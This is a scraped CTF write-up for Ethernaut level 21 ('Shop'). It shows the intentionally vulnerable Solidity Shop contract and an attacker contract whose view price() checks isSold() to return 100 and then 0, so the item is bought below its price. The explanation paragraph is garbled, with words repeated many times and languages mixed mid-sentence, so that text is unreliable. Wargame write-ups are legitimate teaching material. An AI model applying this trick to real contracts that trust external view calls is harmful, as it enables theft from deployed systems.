Ethernaut系列-레벨 21(상점)

4127 단어

레벨 21(상점):




// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}


通关要求



isSold = 참
가격 < 100

要点



view방법적 限制,不能修改状态如:storage
https://docs.soliditylang.org/en/v0.8.14/contracts.html?highlight=%20view%20method#view-functions

解题思路



跟 11 差不多 关思路 关思路, 但 增加 了 了 view 限制 限制 限制 限制 限制 能 能 能 能 修改 修改 스토리지, 但 需要 需要 两 次 返回 不 不 一定 的 结果 结果 结果 结果 结果 结果 通过 通过 通过 通过 通过 来 来 判断 并 返回 不 值 值 值 值 这里 可以 可以 使用 更 更 简单 的 如 如 如 如 如 调用 一样 一样 不 不 不外部shop.isSold(这个是方法是view,是可以调用的)


  function run(address _runAddress) external payable {
    ILevel(_runAddress).buy();
  } 

  function price() external view returns (uint) {
    // view不能写storage,但可以调用外部的view
    // 也可以调用gasleft()来达到两次返回不一样的值,但比较麻烦
    return ILevel(msg.sender).isSold() ? 0 : 100;
  } 

좋은 웹페이지 즐겨찾기